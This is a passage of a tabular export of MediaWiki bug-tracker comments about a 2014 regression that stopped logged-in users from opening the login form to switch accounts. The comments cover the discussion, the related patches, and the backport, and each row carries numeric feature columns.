etc) without first logging out.

This is annoying and shouldn't have happened.

--------------------------
**Version**: 1.24rc
**Severity**: normal
**See Also**:
URL"
321967,Login as another user no longer works,My bad. Thanks for the clarification and sorry for the confusion :),,,1411515082,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,15.0,0.0,8.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,0.8461538461538461,My bad. Thanks for the clarification and sorry for the confusion :)
321964,Login as another user no longer works,"**swalling** wrote:

(In reply to Bartosz Dziewoński from comment #21)
> (Per bug 15484 comment 27 it hasn't. The fix here only changes any behavior
> if a user types ""Special:UserLogin"" in the search box or address bar, or
> otherwise directly visits the login page.)

Tested and confirmed on Beta Labs. 

Thanks Bartosz.",,,1411514434,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4324324324324325,0.7027027027027027,"**swalling** wrote:

(In reply to Bartosz Dziewoński from comment #21)
QUOTE
QUOTE
QUOTE

Tested and confirmed on Beta Labs. 

Thanks Bartosz."
321962,Login as another user no longer works,"(Per bug 15484 comment 27 it hasn't. The fix here only changes any behavior if a user types ""Special:UserLogin"" in the search box or address bar, or otherwise directly visits the login page.)",,,1411514215,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-41,True,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,2.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,7.0,5.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.697674418604651,0.9069767441860465,"(Per bug 15484 comment 27 it hasn't. The fix here only changes any behavior if a user types ""Special:UserLogin"" in the search box or address bar, or otherwise directly visits the login page.)"
321961,Login as another user no longer works,So to be clear the fix has reopened bug 15484,,,1411512765,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,So to be clear the fix has reopened bug 15484
321957,Login as another user no longer works,Backported.,,,1411418851,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,Backported.
321952,Login as another user no longer works,"Change 162120 merged by jenkins-bot:
Allow logged-in users to view and use the login form again

https://gerrit.wikimedia.org/r/162120",,,1411418407,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.9583333333333334,"Change 162120 merged by jenkins-bot:
Allow logged-in users to view and use the login form again

GERRIT_URL"
321942,Login as another user no longer works,"Change 162120 had a related patch set uploaded by Legoktm:
Allow logged-in users to view and use the login form again

https://gerrit.wikimedia.org/r/162120",,,1411417955,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.074074074074074,1.0,"Change 162120 had a related patch set uploaded by Legoktm:
Allow logged-in users to view and use the login form again

GERRIT_URL"
321935,Login as another user no longer works,"Patch merged in master, leaving this open until it's clean if we need to backport to 1.24, or if it will be included.",,,1411395534,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,11.0,22.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5185185185185186,0.8518518518518519,"Patch merged in master, leaving this open until it's clean if we need to backport to 1.24, or if it will be included."
321927,Login as another user no longer works,"Change 161465 merged by jenkins-bot:
Allow logged-in users to view and use the login form again

https://gerrit.wikimedia.org/r/161465",,,1411395359,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.9583333333333334,"Change 161465 merged by jenkins-bot:
Allow logged-in users to view and use the login form again

GERRIT_URL"
321919,Login as another user no longer works,"Change 161465 had a related patch set uploaded by Bartosz Dziewoński:
Allow logged-in users to view and use the login form

https://gerrit.wikimedia.org/r/161465",,,1411140218,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,19.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.2592592592592595,1.0,"Change 161465 had a related patch set uploaded by Bartosz Dziewoński:
Allow logged-in users to view and use the login form

GERRIT_URL"
321910,Login as another user no longer works,*** Bug 69475 has been marked as a duplicate of this bug. ***,,,1410978978,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 69475 has been marked as a duplicate of this bug. ***
321903,Login as another user no longer works,"https://bugzilla.wikimedia.org/show_bug.cgi?id=49890

There was discussion on mailing lists about killing this behaviour.",,,1410848523,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.846153846153846,1.0,"URL

There was discussion on mailing lists about killing this behaviour."
321896,Login as another user no longer works,"(In reply to Betacommand from comment #10)
> Actually its not. That particular issue has existed for as long as I can
> remember (~2006) If I log in via a bot, the cookies/session is kept and
> reused as needed. If I then login via a web browser, both sessions work.
> However if I log out via the web browser, the session/tokens that the bot
> have been using get invalidated and cause the bot to no longer be logged in. 
> 
> That is about as core as one can get, prior to this a user could be logged
> in as themselves, note their bot has a new message, log into the bot
> account, clear the message, and then log back into the main account without
> ever logging out. This enables multiple logins and does not cause issues
> where the bot or user gets logged out on other devices/locations.

I can assure you that MediaWiki core does not simultaneously log out all sessions. All logging out does is clear your cookies. I also just tested this on my Vagrant instance using two different browsers,",,,1410836467,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,3.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,25.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,7.0,10.0,15.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8450704225352115,0.6619718309859155,"(In reply to Betacommand from comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I can assure you that MediaWiki core does not simultaneously log out all sessions. All logging out does is clear your cookies. I also just tested this on my Vagrant instance using two different browsers,"
321889,Login as another user no longer works,"Actually its not. That particular issue has existed for as long as I can remember (~2006) If I log in via a bot, the cookies/session is kept and reused as needed. If I then login via a web browser, both sessions work. However if I log out via the web browser, the session/tokens that the bot have been using get invalidated and cause the bot to no longer be logged in. 

That is about as core as one can get, prior to this a user could be logged in as themselves, note their bot has a new message, log into the bot account, clear the message, and then log back into the main account without ever logging out. This enables multiple logins and does not cause issues where the bot or user gets logged out on other devices/locations.",,,1410835565,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,0.0,0.0,0.0,1.5,1.0,3.5,0.0,0.0,0.0,1.5,6.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,13.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,6.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,13.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,7.5,2.5,5.5,2.5,3.0,10.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,4.5,13.5,0.5,0.0,0.0,0.0,4.5,0.0,0.5,2.0,0.5,1.0,0.0,0.0,0.0,3.677700617283951,0.695679012345679,"Actually its not. That particular issue has existed for as long as I can remember (~2006) If I log in via a bot, the cookies/session is kept and reused as needed. If I then login via a web browser, both sessions work. However if I log out via the web browser, the session/tokens that the bot have been using get invalidated and cause the bot to no longer be logged in. 

That is about as core as one can get, prior to this a user could be logged in as themselves, note their bot has a new message, log into the bot account, clear the message, and then log back into the main account without ever logging out. This enables multiple logins and does not cause issues where the bot or user gets logged out on other devices/locations."
321883,Login as another user no longer works,"(In reply to Betacommand from comment #8)
> However logging out can cause problems because it invalidates all login
> sessions. If a user is operating a bot and switches to remove the new
> message talk page notice, it logs the bot out. 

That is CentralAuth, not a property of core.",,,1410835172,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,27.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,0.8461538461538461,"(In reply to Betacommand from comment #8)
QUOTE
QUOTE
QUOTE

That is CentralAuth, not a property of core."
321878,Login as another user no longer works,"However logging out can cause problems because it invalidates all login sessions. If a user is operating a bot and switches to remove the new message talk page notice, it logs the bot out. 

Honestly I think what this is fixing is a mole hill compared to the mountain of problems that it creates.",,,1410833881,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,2.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,12.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,22.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,5.0,7.0,3.0,2.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,5.0,0.0,5.0,0.0,0.0,0.0,4.11864406779661,0.7627118644067796,"However logging out can cause problems because it invalidates all login sessions. If a user is operating a bot and switches to remove the new message talk page notice, it logs the bot out. 

Honestly I think what this is fixing is a mole hill compared to the mountain of problems that it creates."
321870,Login as another user no longer works,"(In reply to Bartosz Dziewoński from comment #5)
> Indeed, but it should be easy enough to show the form instead of redirecting
> when the user is logged in and there's no 'returnto' parameter.

(In reply to Jon from comment #6)
> To play devils advocate, why would you want to visit the login form whilst
> logged in? What is wrong with logging out and then visiting it?

These two sort of go together.

The only situation in which there would be no 'returnto' parameter is if you manually navigated to the login page by typing ""Special:Userlogin"" in the search bar (or by entering it in your address bar). I feel like it is much easier and trivial to simply click Logout and then log back in again.

We might be able to improve the experience by having the logout page redirect back to the login page automatically, and just display a message saying you were logged out.",,,1410833150,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,0.5,0.0,0.0,0.5,0.0,3.5,2.5,0.0,0.0,0.5,3.5,1.0,0.0,0.5,0.5,1.5,0.0,8.0,13.0,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.5,0.0,0.5,0.5,0.5,2.0,0.5,1.5,2.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,12.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,4.5,3.0,8.5,0.5,3.0,6.0,0.0,0.0,0.0,1.0,5.5,0.0,1.5,0.0,5.0,13.0,3.0,0.0,2.0,0.0,5.0,0.0,0.5,0.5,0.0,2.5,0.5,0.0,0.0,3.735294117647059,0.7426470588235294,"(In reply to Bartosz Dziewoński from comment #5)
QUOTE
QUOTE

(In reply to Jon from comment #6)
QUOTE
QUOTE

These two sort of go together.

The only situation in which there would be no 'returnto' parameter is if you manually navigated to the login page by typing ""Special:Userlogin"" in the search bar (or by entering it in your address bar). I feel like it is much easier and trivial to simply click Logout and then log back in again.

We might be able to improve the experience by having the logout page redirect back to the login page automatically, and just display a message saying you were logged out."
321864,Login as another user no longer works,"To play devils advocate, why would you want to visit the login form whilst logged in? What is wrong with logging out and then visiting it?",,,1410830348,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,21.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,3.896551724137931,0.9655172413793104,"To play devils advocate, why would you want to visit the login form whilst logged in? What is wrong with logging out and then visiting it?"
321857,Login as another user no longer works,"Indeed, but it should be easy enough to show the form instead of redirecting when the user is logged in and there's no 'returnto' parameter.",,,1410822782,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,3.0,0.0,3.0,13.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,3.0,3.0,7.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,7.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8666666666666667,0.9333333333333333,"Indeed, but it should be easy enough to show the form instead of redirecting when the user is logged in and there's no 'returnto' parameter."
321853,Login as another user no longer works,"The issue fixed by the bug is pretty important, so simply reverting the patch will not actually solve anything.

IMO, the bug described (switching between accounts) should really be solved by some sort of account switcher, e.g., like Google has.",,,1410821550,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,2.0,2.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,10.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,6.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.224489795918367,0.8367346938775511,"The issue fixed by the bug is pretty important, so simply reverting the patch will not actually solve anything.

IMO, the bug described (switching between accounts) should really be solved by some sort of account switcher, e.g., like Google has."
321845,Login as another user no longer works,"(If this is fixed, 5dfc57eb80098a2016ed98cbdcca8ee6e1af1c79 should be reverted.)",,,1410820765,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.083333333333333,1.0,"(If this is fixed, 5dfc57eb80098a2016ed98cbdcca8ee6e1af1c79 should be reverted.)"
321840,Login as another user no longer works,Caused by the fix for bug 15484: d0439af89f6b254cea09b3773ab139f04f81a97d.,,,1410820697,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.7,1.0,Caused by the fix for bug 15484: d0439af89f6b254cea09b3773ab139f04f81a97d.
321834,Login as another user no longer works,"**swalling** wrote:

This is an odd regression. For reproducibility:

1. Visit a wiki while logged in.
2. Search for Special:UserLogin or enter in the URL manually. 
3. You are redirected to the Main Page

Expected behavior: until recently, you should have been able to visit Special:UserLogin while authenticated as another account. The form then tells you that you are already logged in and allows you to login as a separate user.",,,1410808551,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,2.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,1.0,5.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,4.0,15.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,15.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,3.8125,0.6666666666666666,"**swalling** wrote:

This is an odd regression. For reproducibility:

1. Visit a wiki while logged in.
2. Search for Special:UserLogin or enter in the URL manually. 
3. You are redirected to the Main Page

